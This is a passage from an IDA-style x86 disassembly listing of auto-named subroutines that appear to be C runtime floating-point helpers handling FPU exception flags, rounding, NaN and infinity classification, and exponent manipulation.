mov [ecx+4], esi
jmp short loc_41139D
; ---------------------------------------------------------------------------
loc_411394: ; CODE XREF: sub_4112C7+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41139D: ; CODE XREF: sub_4112C7+CBj
mov [eax], dl
add eax, 8
jmp short loc_4113DA
; ---------------------------------------------------------------------------
loc_4113A4: ; CODE XREF: sub_4112C7+B6j
cmp eax, edx
jnb short loc_4113BB
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_4113E4
mov esi, ebx
jmp short loc_411362
; ---------------------------------------------------------------------------
loc_4113B4: ; CODE XREF: sub_4112C7+ABj
movzx eax, al
add esi, eax
jmp short loc_411362
; ---------------------------------------------------------------------------
loc_4113BB: ; CODE XREF: sub_4112C7+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_4113CC
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_4113D5
; ---------------------------------------------------------------------------
loc_4113CC: ; CODE XREF: sub_4112C7+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_4113D5: ; CODE XREF: sub_4112C7+103j
mov [esi], dl
lea eax, [esi+8]
loc_4113DA: ; CODE XREF: sub_4112C7+40j
; sub_4112C7+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_4113E6
; ---------------------------------------------------------------------------
loc_4113E4: ; CODE XREF: sub_4112C7+7Ej
; sub_4112C7+9Dj ...
xor eax, eax
loc_4113E6: ; CODE XREF: sub_4112C7+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4112C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113EB proc near ; CODE XREF: sub_40DB08+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_411425
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_411485
; ---------------------------------------------------------------------------
loc_411425: ; CODE XREF: sub_4113EB+26j
jnb short loc_41148C
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41148C
lea eax, [ecx+edx]
loc_41143A: ; CODE XREF: sub_4113EB+59j
cmp eax, esi
jnb short loc_411448
cmp byte ptr [eax], 0
jnz short loc_411446
inc eax
jmp short loc_41143A
; ---------------------------------------------------------------------------
loc_411446: ; CODE XREF: sub_4113EB+56j
cmp eax, esi
loc_411448: ; CODE XREF: sub_4113EB+51j
jnz short loc_41148C
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_411480
cmp esi, eax
jbe short loc_411480
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_411477
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_411472
loc_41146B: ; CODE XREF: sub_4113EB+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41146B
loc_411472: ; CODE XREF: sub_4113EB+7Ej
mov [ebx+4], eax
jmp short loc_411480
; ---------------------------------------------------------------------------
loc_411477: ; CODE XREF: sub_4113EB+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_411480: ; CODE XREF: sub_4113EB+68j
; sub_4113EB+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_411485: ; CODE XREF: sub_4113EB+38j
mov [ebp+var_4], 1
loc_41148C: ; CODE XREF: sub_4113EB:loc_411425j
; sub_4113EB+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4113EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_411494(int,int,double,int)
sub_411494 proc near ; CODE XREF: sub_40CDEA+51p
; sub_40CF33+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_422610, 0
jnz short loc_4114C9
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_411A49
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4114C9: ; CODE XREF: sub_411494+Aj
push 0FFFFh
mov dword_481DBC, 21h
push [ebp+arg_C]
call sub_411CBC
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_411494 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4114E7(int,int,double,double,int)
sub_4114E7 proc near ; CODE XREF: sub_40CDEA:loc_40CEADp
; sub_40CF33:loc_40CFF6p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_411832
add esp, 0Ch
test eax, eax
jnz short loc_411525
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_41157F
add esp, 18h
loc_411525: ; CODE XREF: sub_4114E7+1Aj
push [ebp+arg_0]
call sub_411B1C
cmp dword_422610, 0
pop ecx
jnz short loc_411563
test eax, eax
jz short loc_411563
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_411A49
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_411563: ; CODE XREF: sub_4114E7+4Ej
; sub_4114E7+52j
push eax
call sub_411AD1
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_411CBC
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4114E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41157F proc near ; CODE XREF: sub_4114E7+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4115B1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4115B1: ; CODE XREF: sub_41157F+23j
test cl, 2
jz short loc_4115C4
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4115C4: ; CODE XREF: sub_41157F+35j
test cl, bl
jz short loc_4115D6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4115D6: ; CODE XREF: sub_41157F+47j
test cl, 4
jz short loc_4115E9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4115E9: ; CODE XREF: sub_41157F+5Aj
test cl, 8
jz short loc_4115FC
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4115FC: ; CODE XREF: sub_41157F+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_411C9F
test al, bl
jz short loc_411685
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_411685: ; CODE XREF: sub_41157F+FDj
test al, 4
jz short loc_411690
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_411690: ; CODE XREF: sub_41157F+108j
test al, 8
jz short loc_41169B
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_41169B: ; CODE XREF: sub_41157F+113j
test al, 10h
jz short loc_4116A5
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4116A5: ; CODE XREF: sub_41157F+11Ej
test al, 20h
jz short loc_4116AF
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4116AF: ; CODE XREF: sub_41157F+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_4116EE
cmp eax, 400h
jz short loc_4116E0
cmp eax, 800h
jz short loc_4116D4
cmp eax, ecx
jnz short loc_4116F4
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_4116F4
; ---------------------------------------------------------------------------
loc_4116D4: ; CODE XREF: sub_41157F+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_4116EA
; ---------------------------------------------------------------------------
loc_4116E0: ; CODE XREF: sub_41157F+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_4116EA: ; CODE XREF: sub_41157F+15Fj
mov [eax], ecx
jmp short loc_4116F4
; ---------------------------------------------------------------------------
loc_4116EE: ; CODE XREF: sub_41157F+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_4116F4: ; CODE XREF: sub_41157F+14Bj
; sub_41157F+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_41171F
cmp eax, 200h
jz short loc_411712
cmp eax, ecx
jnz short loc_41172C
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_41172C
; ---------------------------------------------------------------------------
loc_411712: ; CODE XREF: sub_41157F+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_41172A
; ---------------------------------------------------------------------------
loc_41171F: ; CODE XREF: sub_41157F+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_41172A: ; CODE XREF: sub_41157F+19Ej
mov [eax], ecx
loc_41172C: ; CODE XREF: sub_41157F+189j
; sub_41157F+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_411CAD
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_41814C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4117A6
and dword ptr [esi], 0FFFFFFFEh
loc_4117A6: ; CODE XREF: sub_41157F+222j
test byte ptr [eax+8], 8
jz short loc_4117AF
and dword ptr [esi], 0FFFFFFFBh
loc_4117AF: ; CODE XREF: sub_41157F+22Bj
test byte ptr [eax+8], 4
jz short loc_4117B8
and dword ptr [esi], 0FFFFFFF7h
loc_4117B8: ; CODE XREF: sub_41157F+234j
test byte ptr [eax+8], 2
jz short loc_4117C1
and dword ptr [esi], 0FFFFFFEFh
loc_4117C1: ; CODE XREF: sub_41157F+23Dj
test [eax+8], bl
jz short loc_4117C9
and dword ptr [esi], 0FFFFFFDFh
loc_4117C9: ; CODE XREF: sub_41157F+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_4117FD
dec ecx
jz short loc_4117F1
dec ecx
jz short loc_4117E7
dec ecx
jnz short loc_4117FF
or byte ptr [esi+1], 0Ch
jmp short loc_4117FF
; ---------------------------------------------------------------------------
loc_4117E7: ; CODE XREF: sub_41157F+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_4117F9
; ---------------------------------------------------------------------------
loc_4117F1: ; CODE XREF: sub_41157F+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_4117F9: ; CODE XREF: sub_41157F+270j
mov [esi], ecx
jmp short loc_4117FF
; ---------------------------------------------------------------------------
loc_4117FD: ; CODE XREF: sub_41157F+257j
and [esi], edx
loc_4117FF: ; CODE XREF: sub_41157F+260j
; sub_41157F+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_41181F
dec ecx
jz short loc_411816
dec ecx
jnz short loc_411828
and [esi], edx
jmp short loc_411828
; ---------------------------------------------------------------------------
loc_411816: ; CODE XREF: sub_41157F+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_411826
; ---------------------------------------------------------------------------
loc_41181F: ; CODE XREF: sub_41157F+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_411826: ; CODE XREF: sub_41157F+29Ej
mov [esi], ecx
loc_411828: ; CODE XREF: sub_41157F+291j
; sub_41157F+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41157F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411832 proc near ; CODE XREF: sub_4114E7+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_41185D
test byte ptr [ebp+arg_8], bl
jz short loc_41185D
push ebx
call sub_411CDF
pop ecx
and edi, 0FFFFFFF7h
jmp loc_411A27
; ---------------------------------------------------------------------------
loc_41185D: ; CODE XREF: sub_411832+15j
; sub_411832+1Aj
test al, 4
jz short loc_411877
test byte ptr [ebp+arg_8], 4
jz short loc_411877
push 4
call sub_411CDF
pop ecx
and edi, 0FFFFFFFBh
jmp loc_411A27
; ---------------------------------------------------------------------------
loc_411877: ; CODE XREF: sub_411832+2Dj
; sub_411832+33j
test al, bl
jz loc_411951
test byte ptr [ebp+arg_8], 8
jz loc_411951
push 8
call sub_411CDF
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_411929
cmp ecx, 400h
jz short loc_411901
cmp ecx, 800h
jz short loc_4118D9
cmp ecx, eax
jnz loc_411949
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4187A8
fld dbl_421DA0
fnstsw ax
sahf
ja short loc_4118D1
fchs
loc_4118D1: ; CODE XREF: sub_411832+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_411947
; ---------------------------------------------------------------------------
loc_4118D9: ; CODE XREF: sub_411832+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4187A8
fnstsw ax
sahf
jbe short loc_4118F1
fld dbl_421D90
jmp short loc_4118F9
; ---------------------------------------------------------------------------
loc_4118F1: ; CODE XREF: sub_411832+B5j
fld dbl_421DA0
fchs
loc_4118F9: ; CODE XREF: sub_411832+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_411947
; ---------------------------------------------------------------------------
loc_411901: ; CODE XREF: sub_411832+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4187A8
fnstsw ax
sahf
jbe short loc_411919
fld dbl_421DA0
jmp short loc_411921
; ---------------------------------------------------------------------------
loc_411919: ; CODE XREF: sub_411832+DDj
fld dbl_421D90
fchs
loc_411921: ; CODE XREF: sub_411832+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_411947
; ---------------------------------------------------------------------------
loc_411929: ; CODE XREF: sub_411832+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_4187A8
fld dbl_421D90
fnstsw ax
sahf
ja short loc_411941
fchs
loc_411941: ; CODE XREF: sub_411832+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_411947: ; CODE XREF: sub_411832+A5j
; sub_411832+CDj ...
fstp qword ptr [ecx]
loc_411949: ; CODE XREF: sub_411832+81j
and edi, 0FFFFFFFEh
jmp loc_411A27
; ---------------------------------------------------------------------------
loc_411951: ; CODE XREF: sub_411832+47j
; sub_411832+51j
test al, 2
jz loc_411A27
test byte ptr [ebp+arg_8], 10h
jz loc_411A27
push esi
xor esi, esi
test al, 10h
jz short loc_41196C
mov esi, ebx
loc_41196C: ; CODE XREF: sub_411832+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_4187A8
fnstsw ax
sahf
jz loc_411A15
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_411BDE
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_4119B7
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_411A0B
; ---------------------------------------------------------------------------
loc_4119B7: ; CODE XREF: sub_411832+17Aj
fld [ebp+var_C]
fcomp dbl_4187A8
fnstsw ax
sahf
jnb short loc_4119C9
mov edx, ebx
jmp short loc_4119CB
; ---------------------------------------------------------------------------
loc_4119C9: ; CODE XREF: sub_411832+191j
xor edx, edx
loc_4119CB: ; CODE XREF: sub_411832+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_4119FF
sub eax, ecx
loc_4119E2: ; CODE XREF: sub_411832+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_4119ED
test esi, esi
jnz short loc_4119ED
mov esi, ebx
loc_4119ED: ; CODE XREF: sub_411832+1B3j
; sub_411832+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_4119F9
or byte ptr [ebp+var_C+3], 80h
loc_4119F9: ; CODE XREF: sub_411832+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_4119E2
loc_4119FF: ; CODE XREF: sub_411832+1ACj
test edx, edx
jz short loc_411A0B
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_411A0B: ; CODE XREF: sub_411832+183j
; sub_411832+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_411A17
; ---------------------------------------------------------------------------
loc_411A15: ; CODE XREF: sub_411832+14Ej
mov esi, ebx
loc_411A17: ; CODE XREF: sub_411832+1E1j
test esi, esi
pop esi
jz short loc_411A24
push 10h
call sub_411CDF
pop ecx
loc_411A24: ; CODE XREF: sub_411832+1E8j
and edi, 0FFFFFFFDh
loc_411A27: ; CODE XREF: sub_411832+26j
; sub_411832+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_411A3E
test byte ptr [ebp+arg_8], 20h
jz short loc_411A3E
push 20h
call sub_411CDF
pop ecx
and edi, 0FFFFFFEFh
loc_411A3E: ; CODE XREF: sub_411832+1F9j
; sub_411832+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_411832 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411A49(int,int,int,int,int,int,double,int)
sub_411A49 proc near ; CODE XREF: sub_411494+2Bp
; sub_4114E7+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_411AF7
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_411AB4
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_411CBC
lea eax, [ebp+var_20]
push eax
call sub_414C8D
add esp, 0Ch
test eax, eax
jnz short loc_411AAE
push esi
call sub_411AD1
pop ecx
loc_411AAE: ; CODE XREF: sub_411A49+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_411AB4: ; CODE XREF: sub_411A49+14j
push 0FFFFh
push [ebp+arg_20]
call sub_411CBC
push [ebp+arg_0]
call sub_411AD1
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_411A49 endp
; =============== S U B R O U T I N E =======================================
sub_411AD1 proc near ; CODE XREF: sub_4114E7+7Dp
; sub_411A49+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_411AEC
jle short locret_411AF6
cmp eax, 3
jg short locret_411AF6
mov dword_481DBC, 22h
retn
; ---------------------------------------------------------------------------
loc_411AEC: ; CODE XREF: sub_411AD1+7j
mov dword_481DBC, 21h
locret_411AF6: ; CODE XREF: sub_411AD1+9j
; sub_411AD1+Ej
retn
sub_411AD1 endp
; =============== S U B R O U T I N E =======================================
sub_411AF7 proc near ; CODE XREF: sub_411A49+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_421CB8
loc_411AFE: ; CODE XREF: sub_411AF7+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_411B14
add eax, 8
inc ecx
cmp eax, offset dbl_421D90
jl short loc_411AFE
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_411B14: ; CODE XREF: sub_411AF7+Dj
mov eax, off_421CBC[ecx*8]
retn
sub_411AF7 endp
; =============== S U B R O U T I N E =======================================
sub_411B1C proc near ; CODE XREF: sub_4114E7+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_411B28
push 5
jmp short loc_411B3E
; ---------------------------------------------------------------------------
loc_411B28: ; CODE XREF: sub_411B1C+6j
test al, 8
jz short loc_411B30
push 1
jmp short loc_411B3E
; ---------------------------------------------------------------------------
loc_411B30: ; CODE XREF: sub_411B1C+Ej
test al, 4
jz short loc_411B38
push 2
jmp short loc_411B3E
; ---------------------------------------------------------------------------
loc_411B38: ; CODE XREF: sub_411B1C+16j
test al, 1
jz short loc_411B40
push 3
loc_411B3E: ; CODE XREF: sub_411B1C+Aj
; sub_411B1C+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_411B40: ; CODE XREF: sub_411B1C+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_411B1C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411B49(double)
sub_411B49 proc near ; CODE XREF: sub_40CDEA:loc_40CE70p
; sub_40CF33:loc_40CFB9p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_411B49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411B5B(double,int)
sub_411B5B proc near ; CODE XREF: sub_411BDE+82p
; sub_411BDE+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_411B5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411B84 proc near ; CODE XREF: sub_40CDEA+31p
; sub_40CF33+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_411B9B
cmp [ebp+arg_0], edx
jnz short loc_411BAD
push 1
jmp short loc_411BD7
; ---------------------------------------------------------------------------
loc_411B9B: ; CODE XREF: sub_411B84+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_411BAD
cmp [ebp+arg_0], edx
jnz short loc_411BAD
push 2
jmp short loc_411BD7
; ---------------------------------------------------------------------------
loc_411BAD: ; CODE XREF: sub_411B84+11j
; sub_411B84+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_411BC0
push 3
jmp short loc_411BD7
; ---------------------------------------------------------------------------
loc_411BC0: ; CODE XREF: sub_411B84+36j
cmp cx, 7FF0h
jnz short loc_411BDA
test [ebp+arg_4], 7FFFFh
jnz short loc_411BD5
cmp [ebp+arg_0], edx
jz short loc_411BDA
loc_411BD5: ; CODE XREF: sub_411B84+4Aj
push 4
loc_411BD7: ; CODE XREF: sub_411B84+15j
; sub_411B84+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_411BDA: ; CODE XREF: sub_411B84+41j
; sub_411B84+4Fj
xor eax, eax
pop ebp
retn
sub_411B84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411BDE(double,int)
sub_411BDE proc near ; CODE XREF: sub_411832+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4187A8
push esi
fnstsw ax
sahf
jnz short loc_411BFE
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_411C94
; ---------------------------------------------------------------------------
loc_411BFE: ; CODE XREF: sub_411BDE+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_411C6D
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_411C16
cmp dword ptr [ebp+arg_0], ecx
jz short loc_411C6D
loc_411C16: ; CODE XREF: sub_411BDE+31j
fld [ebp+arg_0]
fcomp dbl_4187A8
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_411C2E
push 1
pop eax
jmp short loc_411C30
; ---------------------------------------------------------------------------
loc_411C2E: ; CODE XREF: sub_411BDE+49j
xor eax, eax
loc_411C30: ; CODE XREF: sub_411BDE+4Ej
; sub_411BDE+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_411C49
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_411C43
or dword ptr [ebp+arg_0+4], 1
